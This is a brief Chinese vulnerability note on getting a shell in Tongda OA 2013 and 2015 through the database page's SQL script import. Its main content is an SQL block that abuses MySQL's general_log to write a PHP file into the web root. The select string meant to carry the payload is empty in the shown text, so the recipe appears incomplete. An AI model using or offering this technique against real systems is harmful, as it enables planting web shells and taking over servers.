010-通达oa 数据库脚本导⼊getshell

## 通达oa 数据库脚本导⼊getshell

### 漏洞影响

2013、2015版本

### 复现过程

⾥面的database⻚面可以导入sql脚本文件,但是系统过滤了很多,有很多的限制,使⽤mysql日志的方式进行 突破。

“`sql
set global general_log = on;
set global general_log_file = ‘../webroot/test.php’;
select ‘‘;
set global general_log = off;
“`